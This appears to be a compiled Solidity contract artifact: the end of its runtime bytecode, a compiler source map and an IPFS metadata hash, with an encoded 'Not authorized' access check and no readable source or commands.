fffffffffffffff811115610e3257610e316108e9565b5b610e3e868287016108f9565b93509350506020610e5186828701610a9a565b9150509250925092565b5f60208284031215610e7057610e6f6108e5565b5b5f610e7d84828501610ba7565b91505092915050565b610e8f81610a7b565b82525050565b5f602082019050610ea85f830184610e86565b92915050565b5f805f805f8060a08789031215610ec857610ec76108e5565b5b5f610ed589828a01610a9a565b9650506020610ee689828a01610a9a565b955050604087013567ffffffffffffffff811115610f0757610f066108e9565b5b610f1389828a016108f9565b94509450506060610f2689828a01610ba7565b9250506080610f3789828a01610a9a565b9150509295509295509295565b5f805f805f8060c08789031215610f5e57610f5d6108e5565b5b5f610f6b89828a01610ba7565b9650506020610f7c89828a01610a9a565b9550506040610f8d89828a01610a9a565b9450506060610f9e89828a01610a9a565b9350506080610faf89828a01610ba7565b92505060a0610fc089828a01610a9a565b9150509295509295509295565b5f606082019050610fe05f830186610e86565b610fed6020830185610e86565b610ffa6040830184610e86565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f82825260208201905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f611073600e8361102f565b915061107e8261103f565b602082019050919050565b5f6020820190508181035f8301526110a081611067565b905091905056fea26469706673582212201f2c47cb1d5cef40f1ef5f2edef88d72746245d183c9d2b80bb6e0ba167f74ad64736f6c63430008170033

1134:3724:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4602:251;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3526:290;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2381:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1302:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4368:226;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2238:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1656:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3169:349;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1940:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2068:158;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2675:482;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;2528:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4602:251;4668:16;4712:8;;:15;;4701:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4696:32;;4744:9;4739:107;4763:8;;:15;;4759:1;:19;4739:107;;;4833:1;4808:9;:22;4818:8;;4827:1;4818:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4808:22;;;;;;;;;;;;;;;;:26;4800:2;4803:1;4800:5;;;;;;;;:::i;:::-;;;;;;;:34;;;;;;;;;;;4780:3;;;;;;;4739:107;;;;4602:251;;;;:::o;3526:290::-;3669:21;3729:4;:11;3718:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3708:33;;3765:9;:18;3775:4;3780:1;3775:7;;;;;;;;:::i;:::-;;;;;;;;3765:18;;;;;;;;;;;;;;;;3752:7;3760:1;3752:10;;;;;;;;:::i;:::-;;;;;;;:31;;;;;3526:290;;;;:::o;2381:135::-;2434:7;2454:14;2479:4;2454:30;;2502:6;2495:13;;;2381:135;;;:::o;1302:32::-;;;;;;;;;;;;;:::o;4368:226::-;1494:5;;;;;;;;;;;1480:19;;:10;:19;;;:54;;;;1517:17;;;;;;;;;;;1503:31;;:10;:31;;;1480:54;1472:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4486:9:::1;4481:106;4505:8;;:15;;4501:1;:19;4481:106;;;4567:8;4542:9;:22:::0;4552:8:::1;;4561:1;4552:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4542:22;;;;;;;;;;;;;;;:33;;;;4522:3;;;;;;;4481:106;;;;4368:226:::0;;;:::o;2238:135::-;2291:7;2311:14;2336:4;2311:30;;;;2359:6;2352:13;;;2238:135;;;:::o;1656:146::-;1494:5;;;;;;;;;;;1480:19;;:10;:19;;;:54;;;;1517:17;;;;;;;;;;;1503:31;;:10;:31;;;1480:54;1472:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;1776:18:::1;1756:17;;:38;;;;;;;;;;;;;;;;;;1656:146:::0;:::o;3169:349::-;3404:17;3424:9;:18;3434:4;;3439:1;3434:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3424:18;;;;;;;;;;;;;;;;3404:38;;3468:1;3456:9;:13;3453:58;;;3493:5;3485:14;;;;;;3453:58;3393:125;3169:349;;;;;;:::o;1940:120::-;1987:7;2006:10;2027:4;2006:26;;2050:2;2043:9;;;1940:120;:::o;2068:158::-;2109:7;2129:10;2150:4;2129:26;;2166:14;2191:2;2166:28;;;;2212:6;2205:13;;;;2068:158;:::o;2675:482::-;2912:16;2930:14;2946;2987:18;2973:32;;3028:14;3016:26;;3065:9;:16;3075:5;3065:16;;;;;;;;;;;;;;;;3053:28;;3107:1;3095:9;:13;3092:58;;;3132:5;3124:14;;;;;;3092:58;2675:482;;;;;;;;;;:::o;2528:135::-;2581:7;2601:14;2626:4;2601:30;;2649:6;2642:13;;;2528:135;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:111::-;1923:6;1957:5;1951:12;1941:22;;1859:111;;;:::o;1976:181::-;2072:11;2106:6;2101:3;2094:19;2146:4;2141:3;2137:14;2122:29;;1976:181;;;;:::o;2163:129::-;2227:4;2250:3;2242:11;;2280:4;2275:3;2271:14;2263:22;;2163:129;;;:::o;2298:90::-;2332:7;2375:5;2368:13;2361:21;2350:32;;2298:90;;;:::o;2394:99::-;2465:21;2480:5;2465:21;:::i;:::-;2460:3;2453:34;2394:99;;:::o;2499:167::-;2562:10;2583:40;2619:3;2611:6;2583:40;:::i;:::-;2655:4;2650:3;2646:14;2632:28;;2499:167;;;;:::o;2672:110::-;2739:4;2771;2766:3;2762:14;2754:22;;2672:110;;;:::o;2812:708::-;2925:3;2954:51;2999:5;2954:51;:::i;:::-;3021:83;3097:6;3092:3;3021:83;:::i;:::-;3014:90;;3128:53;3175:5;3128:53;:::i;:::-;3204:7;3235:1;3220:275;3245:6;3242:1;3239:13;3220:275;;;3321:6;3315:13;3348:57;3401:3;3386:13;3348:57;:::i;:::-;3341:64;;3428:57;3478:6;3428:57;:::i;:::-;3418:67;;3280:215;3267:1;3264;3260:9;3255:14;;3220:275;;;3224:14;3511:3;3504:10;;2930:590;;;2812:708;;;;:::o;3526:361::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3750:9;3744:4;3740:20;3736:1;3725:9;3721:17;3714:47;3778:102;3875:4;3866:6;3778:102;:::i;:::-;3770:110;;3526:361;;;;:::o;3893:77::-;3930:7;3959:5;3948:16;;3893:77;;;:::o;3976:122::-;4049:24;4067:5;4049:24;:::i;:::-;4042:5;4039:35;4029:63;;4088:1;4085;4078:12;4029:63;3976:122;:::o;4104:139::-;4150:5;4188:6;4175:20;4166:29;;4204:33;4231:5;4204:33;:::i;:::-;4104:139;;;;:::o;4249:102::-;4290:6;4341:2;4337:7;4332:2;4325:5;4321:14;4317:28;4307:38;;4249:102;;;:::o;4357:180::-;4405:77;4402:1;4395:88;4502:4;4499:1;4492:15;4526:4;4523:1;4516:15;4543:281;4626:27;4648:4;4626:27;:::i;:::-;4618:6;4614:40;4756:6;4744:10;4741:22;4720:18;4708:10;4705:34;4702:62;4699:88;;;4767:18;;:::i;:::-;4699:88;4807:10;4803:2;4796:22;4586:238;4543:281;;:::o;4830:129::-;4864:6;4891:20;;:::i;:::-;4881:30;;4920:33;4948:4;4940:6;4920:33;:::i;:::-;4830:129;;;:::o;4965:311::-;5042:4;5132:18;5124:6;5121:30;5118:56;;;5154:18;;:::i;:::-;5118:56;5204:4;5196:6;5192:17;5184:25;;5264:4;5258;5254:15;5246:23;;4965:311;;;:::o;5282:126::-;5319:7;5359:42;5352:5;5348:54;5337:65;;5282:126;;;:::o;5414:96::-;5451:7;5480:24;5498:5;5480:24;:::i;:::-;5469:35;;5414:96;;;:::o;5516:122::-;5589:24;5607:5;5589:24;:::i;:::-;5582:5;5579:35;5569:63;;5628:1;5625;5618:12;5569:63;5516:122;:::o;5644:139::-;5690:5;5728:6;5715:20;5706:29;;5744:33;5771:5;5744:33;:::i;:::-;5644:139;;;;:::o;5806:710::-;5902:5;5927:81;5943:64;6000:6;5943:64;:::i;:::-;5927:81;:::i;:::-;5918:90;;6028:5;6057:6;6050:5;6043:21;6091:4;6084:5;6080:16;6073:23;;6144:4;6136:6;6132:17;6124:6;6120:30;6173:3;6165:6;6162:15;6159:122;;;6192:79;;:::i;:::-;6159:122;6307:6;6290:220;6324:6;6319:3;6316:15;6290:220;;;6399:3;6428:37;6461:3;6449:10;6428:37;:::i;:::-;6423:3;6416:50;6495:4;6490:3;6486:14;6479:21;;6366:144;6350:4;6345:3;6341:14;6334:21;;6290:220;;;6294:21;5908:608;;5806:710;;;;;:::o;6539:370::-;6610:5;6659:3;6652:4;6644:6;6640:17;6636:27;6626:122;;6667:79;;:::i;:::-;6626:122;6784:6;6771:20;6809:94;6899:3;6891:6;6884:4;6876:6;6872:17;6809:94;:::i;:::-;6800:103;;6616:293;6539:370;;;;:::o;6915:684::-;7008:6;7016;7065:2;7053:9;7044:7;7040:23;7036:32;7033:119;;;7071:79;;:::i;:::-;7033:119;7191:1;7216:53;7261:7;7252:6;7241:9;7237:22;7216:53;:::i;:::-;7206:63;;7162:117;7346:2;7335:9;7331:18;7318:32;7377:18;7369:6;7366:30;7363:117;;;7399:79;;:::i;:::-;7363:117;7504:78;7574:7;7565:6;7554:9;7550:22;7504:78;:::i;:::-;7494:88;;7289:303;6915:684;;;;;:::o;7605:114::-;7672:6;7706:5;7700:12;7690:22;;7605:114;;;:::o;7725:184::-;7824:11;7858:6;7853:3;7846:19;7898:4;7893:3;7889:14;7874:29;;7725:184;;;;:::o;7915:132::-;7982:4;8005:3;7997:11;;8035:4;8030:3;8026:14;8018:22;;7915:132;;;:::o;8053:108::-;8130:24;8148:5;8130:24;:::i;:::-;8125:3;8118:37;8053:108;;:::o;8167:179::-;8236:10;8257:46;8299:3;8291:6;8257:46;:::i;:::-;8335:4;8330:3;8326:14;8312:28;;8167:179;;;;:::o;8352:113::-;8422:4;8454;8449:3;8445:14;8437:22;;8352:113;;;:::o;8501:732::-;8620:3;8649:54;8697:5;8649:54;:::i;:::-;8719:86;8798:6;8793:3;8719:86;:::i;:::-;8712:93;;8829:56;8879:5;8829:56;:::i;:::-;8908:7;8939:1;8924:284;8949:6;8946:1;8943:13;8924:284;;;9025:6;9019:13;9052:63;9111:3;9096:13;9052:63;:::i;:::-;9045:70;;9138:60;9191:6;9138:60;:::i;:::-;9128:70;;8984:224;8971:1;8968;8964:9;8959:14;;8924:284;;;8928:14;9224:3;9217:10;;8625:608;;;8501:732;;;;:::o;9239:373::-;9382:4;9420:2;9409:9;9405:18;9397:26;;9469:9;9463:4;9459:20;9455:1;9444:9;9440:17;9433:47;9497:108;9600:4;9591:6;9497:108;:::i;:::-;9489:116;;9239:373;;;;:::o;9618:122::-;9691:24;9709:5;9691:24;:::i;:::-;9684:5;9681:35;9671:63;;9730:1;9727;9720:12;9671:63;9618:122;:::o;9746:139::-;9792:5;9830:6;9817:20;9808:29;;9846:33;9873:5;9846:33;:::i;:::-;9746:139;;;;:::o;9891:329::-;9950:6;9999:2;9987:9;9978:7;9974:23;9970:32;9967:119;;;10005:79;;:::i;:::-;9967:119;10125:1;10150:53;10195:7;10186:6;10175:9;10171:22;10150:53;:::i;:::-;10140:63;;10096:117;9891:329;;;;:::o;10226:118::-;10313:24;10331:5;10313:24;:::i;:::-;10308:3;10301:37;10226:118;;:::o;10350:222::-;10443:4;10481:2;10470:9;10466:18;10458:26;;10494:71;10562:1;10551:9;10547:17;10538:6;10494:71;:::i;:::-;10350:222;;;;:::o;10578:704::-;10673:6;10681;10689;10738:2;10726:9;10717:7;10713:23;10709:32;10706:119;;;10744:79;;:::i;:::-;10706:119;10892:1;10881:9;10877:17;10864:31;10922:18;10914:6;10911:30;10908:117;;;10944:79;;:::i;:::-;10908:117;11057:80;11129:7;11120:6;11109:9;11105:22;11057:80;:::i;:::-;11039:98;;;;10835:312;11186:2;11212:53;11257:7;11248:6;11237:9;11233:22;11212:53;:::i;:::-;11202:63;;11157:118;10578:704;;;;;:::o;11288:329::-;11347:6;11396:2;11384:9;11375:7;11371:23;11367:32;11364:119;;;11402:79;;:::i;:::-;11364:119;11522:1;11547:53;11592:7;11583:6;11572:9;11568:22;11547:53;:::i;:::-;11537:63;;11493:117;11288:329;;;;:::o;11623:118::-;11710:24;11728:5;11710:24;:::i;:::-;11705:3;11698:37;11623:118;;:::o;11747:222::-;11840:4;11878:2;11867:9;11863:18;11855:26;;11891:71;11959:1;11948:9;11944:17;11935:6;11891:71;:::i;:::-;11747:222;;;;:::o;11975:1141::-;12097:6;12105;12113;12121;12129;12137;12186:3;12174:9;12165:7;12161:23;12157:33;12154:120;;;12193:79;;:::i;:::-;12154:120;12313:1;12338:53;12383:7;12374:6;12363:9;12359:22;12338:53;:::i;:::-;12328:63;;12284:117;12440:2;12466:53;12511:7;12502:6;12491:9;12487:22;12466:53;:::i;:::-;12456:63;;12411:118;12596:2;12585:9;12581:18;12568:32;12627:18;12619:6;12616:30;12613:117;;;12649:79;;:::i;:::-;12613:117;12762:80;12834:7;12825:6;12814:9;12810:22;12762:80;:::i;:::-;12744:98;;;;12539:313;12891:2;12917:53;12962:7;12953:6;12942:9;12938:22;12917:53;:::i;:::-;12907:63;;12862:118;13019:3;13046:53;13091:7;13082:6;13071:9;13067:22;13046:53;:::i;:::-;13036:63;;12990:119;11975:1141;;;;;;;;:::o;13122:1057::-;13226:6;13234;13242;13250;13258;13266;13315:3;13303:9;13294:7;13290:23;13286:33;13283:120;;;13322:79;;:::i;:::-;13283:120;13442:1;13467:53;13512:7;13503:6;13492:9;13488:22;13467:53;:::i;:::-;13457:63;;13413:117;13569:2;13595:53;13640:7;13631:6;13620:9;13616:22;13595:53;:::i;:::-;13585:63;;13540:118;13697:2;13723:53;13768:7;13759:6;13748:9;13744:22;13723:53;:::i;:::-;13713:63;;13668:118;13825:2;13851:53;13896:7;13887:6;13876:9;13872:22;13851:53;:::i;:::-;13841:63;;13796:118;13953:3;13980:53;14025:7;14016:6;14005:9;14001:22;13980:53;:::i;:::-;13970:63;;13924:119;14082:3;14109:53;14154:7;14145:6;14134:9;14130:22;14109:53;:::i;:::-;14099:63;;14053:119;13122:1057;;;;;;;;:::o;14185:442::-;14334:4;14372:2;14361:9;14357:18;14349:26;;14385:71;14453:1;14442:9;14438:17;14429:6;14385:71;:::i;:::-;14466:72;14534:2;14523:9;14519:18;14510:6;14466:72;:::i;:::-;14548;14616:2;14605:9;14601:18;14592:6;14548:72;:::i;:::-;14185:442;;;;;;:::o;14633:180::-;14681:77;14678:1;14671:88;14778:4;14775:1;14768:15;14802:4;14799:1;14792:15;14819:169;14903:11;14937:6;14932:3;14925:19;14977:4;14972:3;14968:14;14953:29;;14819:169;;;;:::o;14994:164::-;15134:16;15130:1;15122:6;15118:14;15111:40;14994:164;:::o;15164:366::-;15306:3;15327:67;15391:2;15386:3;15327:67;:::i;:::-;15320:74;;15403:93;15492:3;15403:93;:::i;:::-;15521:2;15516:3;15512:12;15505:19;;15164:366;;;:::o;15536:419::-;15702:4;15740:2;15729:9;15725:18;15717:26;;15789:9;15783:4;15779:20;15775:1;15764:9;15760:17;15753:47;15817:131;15943:4;15817:131;:::i;:::-;15809:139;;15536:419;;;:::o

ipfs://1f2c47cb1d5cef40f1ef5f2edef88d72746245d183c9d2b80bb6e0ba167f74ad